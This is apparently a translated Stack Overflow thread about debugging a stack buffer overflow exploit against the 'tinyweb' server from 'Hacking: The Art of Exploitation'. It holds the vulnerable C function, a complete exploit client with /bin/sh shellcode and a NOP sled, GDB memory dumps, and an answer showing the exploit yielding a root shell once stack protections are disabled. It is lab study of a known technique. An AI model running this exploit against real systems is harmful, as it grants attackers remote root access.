如何修复缓冲区溢出返回地址失败?

时间:2011-12-16 13:06:40

标签: c security debugging segmentation-fault buffer

我一直在研究Jon Erickson's Art of Exploitation缓冲区溢出几天,我不明白为什么我会遇到分段错误。据我所知,返回地址正在被NOP底座中的地址正确覆盖,但程序每次到达堆栈帧末尾的返回指令时都会抛出一个分段错误。

代码的易受攻击部分是length = recv_line(sockfd, request);,因为永远不会检查缓冲区大小。从tinyweb程序中获取的整个函数如下 -

void (handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr)){
unsigned char *ptr, request[500], resource[500];
int fd, length;

printf("[DEBUG] hc:1 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
length = recv_line(sockfd, request);
printf("[DEBUG] hc:2 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);

printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);
printf("[DEBUG] hc:3 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);

ptr = strstr(request, " HTTP/");
if(ptr == NULL){
    printf(" NOT HTTP!\n");
} else {
    *ptr = 0;
    ptr = NULL;
    if(strncmp(request, "GET ", 4) == 0)
        ptr = request + 4;
    if(strncmp(request, "HEAD ", 5) ==0)
        ptr = request + 5;

    if(ptr == NULL){
        printf("\tUNKNOWN REQUEST!");
    } 
    else {
        if(ptr[strlen(ptr) -1] == '/')
            strcat(ptr, "index.html");
        strcpy(resource, WEBROOT);
        strcat(resource, ptr);
        fd = open(resource, O_RDONLY, 0);
        printf("\tOpening \'%s\'\t", resource);
        if(fd == -1){
            printf(" 404 Not Found\n");
            send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n");
            send_string(sockfd, "Server: Tiny webserver\r\n\r\n");
            send_string(sockfd, "<html><head><title>404 Not Found</title></head>");
            send_string(sockfd, "<body><h1>URL not found</h1></body></html>\r\n");
        } 
        else{
            printf(" 200 OK\n");
            send_string(sockfd, "HTTP/1.0 200 OK\r\n");
            send_string(sockfd, "Server Tiny webserver\r\n\r\n");
            if(ptr == request + 4){
                if( (length = get_file_size(fd)) == -1)
                    fatal("getting resource file size");
                if( (ptr = (unsigned char *) malloc(length)) == NULL)
                    fatal("allocating memory for reading resource");
                read(fd, ptr, length);
                send(sockfd, ptr, length, 0);
                free(ptr);
            }
            close(fd);
        }
    }
}
printf("Shutting down socket.\n");
shutdown(sockfd, SHUT_RDWR);
printf("[DEBUG] hc:4 sockfd is at %08x and contains 0x%08x\n", &sockfd, sockfd);
}

漏洞利用代码如下 -

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#include "hacking.h"
#include "hacking-network.h"

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

#define OFFSET 524
#define RETADDR 0xbfdaf708

int main(int argc, char *argv[]){
int i, sockfd, buflen; //, count;
struct hostent *host_info;
struct sockaddr_in target_addr;
unsigned char buffer[600];

if(argc < 1){
    printf("Usage: %s <hostname> <# of A's to insert>\n", argv[0]);
    exit(1);
}

if((host_info = gethostbyname(argv[1])) == NULL)
    fatal("looking up hostname");

if((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
    fatal("in socket");

//count = atoi(argv[2]);
    //printf("Count: %d\n", count);
target_addr.sin_family = AF_INET;
target_addr.sin_port = htons(81);
target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
memset(&(target_addr.sin_zero), '\0', 8);

if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
    fatal("connecting to target server");

bzero(buffer, 600); 
memset(buffer, '\x90', OFFSET);
*((u_int *)(buffer + OFFSET)) = RETADDR;
memcpy(buffer+300, shellcode, strlen(shellcode));
strcat(buffer, "\r\n"); 
printf("Exploit  buffer:\n");
dump(buffer, strlen(buffer));
send_string(sockfd, buffer);

exit(0);
}

以下是GDB的信息

:~/programs/c/exec$ ps aux | grep tinyweb
         2747  0.1  2.3  97432 48012 pts/1    Sl   Dec15   2:37 gedit tinyweb_exploit.c
root     12444  0.0  0.0   1688   248 pts/2    S+   18:32   0:00 ./tinyweb
         12456  0.0  0.0   4012   768 pts/0    S+   18:33   0:00 grep --color=auto tinyweb
:~/programs/c/exec$ sudo gdb -q --pid=12444 --symbols=./tinyweb

warning: not using untrusted file "/home/sam/.gdbinit"
Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
Attaching to process 12444
Load new symbol table from "/home/sam/programs/c/exec/tinyweb"? (y or n) y
Reading symbols from /home/sam/programs/c/exec/tinyweb...done.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
0x001c3416 in __kernel_vsyscall ()
(gdb) break 74
Breakpoint 1 at 0x8048e8c: file ../code/tinyweb.c, line 74.
(gdb) c
Continuing.

Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
74      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), 
    ntohs(client_addr_ptr->sin_port), request);
(gdb) x/16xw request + 500
0xbfcee1a4: 0x0099bad0  0x00aad4e0  0x0000000f  0xbfcee1c4
0xbfcee1b4: 0x00aacff4  0xbfcee218  0x08048e2f  0x00000004
0xbfcee1c4: 0xbfcee1e4  0x00000004  0xbfcee204  0x00000004
0xbfcee1d4: 0x0804aff4  0xbfcee1e8  0x08048658  0x00000010
(gdb) bt
#0  handle_connection (sockfd=4, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
#1  0x08048e2f in main () at ../code/tinyweb.c:60
(gdb) x/x request
0xbfcedfb0: 0x20544547
(gdb) p /x 0xbfcee1b4 + 8
$5 = 0xbfcee1bc
(gdb) p $5 - 0xbfcedfb0
$6 = 524
(gdb) p /x 0xbfcedfb0 + 200
$7 = 0xbfcee078
(gdb) c
Continuing.

Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbfcee1e4) at ../code/tinyweb.c:74
74      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), 
ntohs(client_addr_ptr->sin_port), request);
(gdb) x/150xw request
0xbfcedfb0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedfc0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedfd0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedfe0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcedff0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee000: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee010: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee020: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee030: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee040: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee050: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee060: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee070: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee080: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee090: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0a0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0b0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0c0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee0d0: 0x90909090  0x90909090  0x90909090  0xdb31c031
0xbfcee0e0: 0xb099c931  0x6a80cda4  0x6851580b  0x68732f2f
0xbfcee0f0: 0x69622f68  0x51e3896e  0x8953e289  0x9080cde1
0xbfcee100: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee110: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee120: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee130: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee140: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee150: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee160: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee170: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee180: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee190: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfcee1a0: 0x90909090  0x90909090  0x90909090  0x00000211
0xbfcee1b0: 0x90909090  0x90909090  0x90909090  0xbfcee078
0xbfcee1c0: 0x0000000d  0xbfcee1e4  0x00000005  0xbfcee204
0xbfcee1d0: 0x00000004  0x0804aff4  0xbfcee1e8  0x08048658
0xbfcee1e0: 0x00000010  0xd4920002  0x0100007f  0x00000000
0xbfcee1f0: 0x00000000  0x51000002  0x00000000  0x00000000
0xbfcee200: 0x00000000  0x00000001
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x080491b1 in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:125
125 }
(gdb) i r eip
eip            0x80491b1    0x80491b1 <handle_connection+893>
    (gdb) x/i 0x080491b1
=> 0x80491b1 <handle_connection+893>:   ret    

启动tinyweb程序,然后将GDB附加到程序中。设置断点以确定缓冲区在内存中的位置(请求@ 0xbfcedfb0)。 bt用于确定当前返回地址及其位置(返回地址0x08048e2f位于0xbfcee1bc)返回地址被确定为距离缓冲区524个字节。漏洞使用返回地址200字节到缓冲区,并将shellcode放入300字节。运行漏洞后,检查缓冲区,包含NOP sled,shellcode,并清楚地显示{{1的原始返回地址其中0xbfcee1bc现在包含地址0x08048e2f,这显然是缓冲区中指向NOP的地址。但是,当程序继续时,它会引发分段错误。在分段错误之后,检查指令指针,指向句柄连接堆栈帧中的一行。检查时,显示返回指令。

当有一个有效的内存地址放在那里时,为什么它会在返回指令处抛出一个分段错误?

编辑1

我很尴尬,我没有注意到早期的shellcode位。再说一遍,我还没有得到早期的工作,要么是ASLR的礼貌,所以我从来没有密切关注shellcode。无论如何,这是我改为 -

0xbfcee078

不幸的是,我正在看同样的问题。我有更多的GDB如下所示。我可以告诉你,当调用RET时,不知何故sockfd变量被搞砸了,但是当DEBUG打印显示时,sockfd不会被改变。我试图在最后逐步完成指示,看看有什么事情发生,但这并没有透露太多......

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x89\xe3\x51\x89\xe2\x53\x89\xe1"
"\xcd\x80";

............1.1.1......j.XQh//bin/sh..Q..S.....

关于最新情况的任何想法?

3 个答案:

答案 0 :(得分:6)

正如前面所承诺的......这里是修复的解释。

我的系统上的漏洞利用失败的原因(Ubuntu 10.10)是实现非可执行堆栈的结果(注意RW结束)

$ gcc -fno-stack-protector -g -z noexecstack -o tinyweb ../code/tinyweb.c && readelf -l   
tinyweb_exploit | grep -i stack

GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

这导致了以下GDB输出。

    Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xbfff1c94) at ../code/tinyweb.c:61
61      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),            
ntohs     (client_addr_ptr->sin_port), request);
(gdb) x/16xw request + 500
0xbfff1c54: 0x00d09d90  0xbfff1c90  0x0000000f  0x00000003
0xbfff1c64: 0x00268ff4  0xbfff1cc8  0x08048cec  0x00000004 
          Programs return address at 0xbfff1c6c---^
0xbfff1c74: 0xbfff1c94  0xbfff1c90  0xbfff1cb4  0x00000004
0xbfff1c84: 0x0804aff4  0xbfff1c98  0x08048658  0x00000010
(gdb) bt
#0  handle_connection (sockfd=4, client_addr_ptr=0xbfff1c94) at ../code/tinyweb.c:61
#1  0x08048cec in main () at ../code/tinyweb.c:49

(gdb) x/150x request
----Output Trimmed----
0xbfff1b70: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfff1b80: 0x90909090  0x90909090  0x90909090  0xdb31c031
0xbfff1b90: 0xb099c931  0x6a80cda4  0x6851580b  0x68732f2f
0xbfff1ba0: 0x69622f68  0x51e3896e  0x8953e289  0x9080cde1
0xbfff1bb0: 0x90909090  0x90909090  0x90909090  0x90909090
----Output Trimmed----
0xbfff1c40: 0x90909090  0x90909090  0x90909090  0x90909090
0xbfff1c50: 0x90909090  0x00000000  0x90909090  0x00000211
0xbfff1c60: 0x90909090  0x90909090  0x90909090  0xbfff1b28 
                              Overwritten Return Address-^
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x08048fff in handle_connection (sockfd=Cannot access memory at address 0x90909098
) at ../code/tinyweb.c:110
110 }
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.

虽然未显示,但返回地址现在包含位于堆栈上方的有效内存位置。这是webprogram的输出....

Request 127.0.0.1:44576 "����������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�����������������������������������������������
��������������������������������������1�1�1ə��̀j

        Xqh//shh/bin��Q��S��̀�����������������������
    �����������������������������������������������
�����������������������������������������������
�����������������������������������������������
�##"

 NOT HTTP!

Shutting down socket.

Segmentation fault

如前所述,漏洞利用失败了。在关闭堆栈粉碎保护并使堆栈可执行之后....

    $ gcc -z execstack -fno-stack-protector -g -o tinyweb ../code/tinyweb.c && readelf -l  tinyweb | grep      
-i stack
 GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x

Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbf88b554) at ../code/tinyweb.c:61
61      printf("Request %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),     
ntohs(client_addr_ptr->sin_port), request);
(gdb) c
Continuing.

Breakpoint 2, handle_connection (sockfd=13, client_addr_ptr=0xbf88b554) at ../code/tinyweb.c:109
109     shutdown(sockfd, SHUT_RDWR);
(gdb) c
Continuing.
process 13666 is executing new program: /bin/dash

然后回到网络服务器输出.....

Request 127.0.0.1:52107 "������������������������
��������������������������������������������
��������������������������������������������
��������������������������������������������
���������������������������������������������
���������������������������������������������
���������������������������������������1�1�1ə��̀j

                                                                              Xqh//shh/bin��Q��S��̀���������
������������������������������������������������
������������������������������������������������
�����������������������������������������������
���������������������##"

NOT HTTP!

Shutting down socket.

# whoami

root

成功。

这是一个专门设计的示例设置,用于解决缓冲区溢出的工作原理,但有关处理当前保护措施的总体教训是有用的。在寻找答案时,我发现了这篇关于它的帖子,它很好地重新审视了Smashing the Stack for Fun和Profit,并解释了开发人员为使其更难以利用程序而做出的改变。

http://paulmakowski.wordpress.com/2011/01/25/smashing-the-stack-in-2011/

希望这有助于任何遇到同样问题的人。

答案 1 :(得分:0)

尝试在continue

之前检查汇编程序代码
x/10i $eip

并尝试stepi您的代码,而不是continue

PS :我不知道你的书,但是我的“剥削艺术”在代码中包含了很多人为错误(比如/shh/bin而不是/bin/sh还有很多值得注意的事情。)我认为它们是故意制作的,以保护互联网免受许多所谓的脚本小子的攻击,这些小家伙只会复制粘贴漏洞利用代码。所以,也许这个例子也包含这种'bug'。

答案 2 :(得分:0)

在您单步执行此指示后,我

=> 0x80491a9 <handle_connection+885>:   add    $0x414,%esp

... GDB失去了找出sockfd实际位置的能力(因为堆栈指针发生了变化),因此将其报告为NOP雪橇的一部分。

sockfd未被覆盖的事实仅仅是因为x86调用约定(请记住,这些操作中的每一个都是来自堆栈指针的减法):

  1. 推入堆栈的参数
  2. 将地址压入堆栈
  3. 将局部变量压入堆栈
  4. 您的漏洞利用覆盖了(2)和(3)但未覆盖(1),因此sockfd保持不变。 (只是在你将修改转移到%esp之后,GDB无法弄清sockfd是什么。)

    更有趣的是,如果您继续单步执行ret指令,看看接下来会发生什么。你在有趣的部分之前就停止了编辑。 ; - )